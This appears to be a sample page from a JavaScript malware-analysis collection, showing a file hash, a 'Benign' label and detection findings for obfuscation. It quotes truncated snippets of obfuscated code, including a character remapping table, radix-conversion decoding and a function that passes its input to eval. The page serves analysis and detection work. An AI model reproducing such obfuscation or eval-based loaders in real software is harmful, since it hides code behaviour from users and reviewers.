Benign javascript-malware-collection Download

08bcb3964e13c7a7ccf9ad5df9b03da8de495920c3271fd1e9eaccd795ecd56a.unknown

parseInt toString radix remapObfuscated increment/decrement via arithmetic

SHA-25608bcb3964e13c7a7ccf9ad5df9b03da8de495920c3271fd1e9eaccd795ecd56a

Evidence

parseInt toString radix remap lines 2–5

2:1773… 25]='}';CQlVT[126]='~';CQlVT[127]='';
3function tslVQ(pYbfMSBtKEl,VLqGaXqdtKGOm,OTHnnlkJ){EguS=parseInt(pYbfMSBtKEl,VLqGaXqdtKGOm);dUTQE=EguS.toString(OTHnnlkJ);return dUTQE;}function cUEsGoXShAwJkfx(vFNpQmWrGmGsABiiW){eval(vFNpQmWrGmGsABiiW)}
4function HWpNtTKevDxLmFDCCcvgUaGxEWVmabdATTIfxxCZrERYOieVkMSLWA(slbIEDRqSiJoP,YARKNXTcgbsvuI){ return CQlVT[tslVQ(slbIEDRqSiJoP[YARKNXTcgbsvuI],(7214+476)/769,(1788+992)/278)];}
5function AbAYsZJ(NpbJrNwxqAYpwrznsZLfFQlUhrnKqKQLuVMb) {return !isNaN(parseFloat(NpbJrNwxqAYpwrznsZLfFQlUhrnKqKQLuVMb)) && isFinite(NpbJrNwxqAYpw …

Obfuscated increment/decrement via arithmetic lines 9–11

9:8… ny=[i,j];
10var xKohMeDkQ=[];
11function SuwdHcvdXLpaWAsjs(BAdny){ViRaPzWIXjT= '';for(qZAvdXDuDkd=(-290+290)/398; qZAvdXDuDkd < (779+33)/406; qZAvdXDuDkd++) {xKohMeDkQ[qZAvdXDuDkd]=(-747+747)/727; while(true) { if(xKohMeDkQ[qZAvdXDuDkd] > BAdny[qZAvdXDuDkd].length-(107+534)/641) { break; } if (AbAYsZJ(tslVQ(BAdny[qZAvdXDuDkd][ …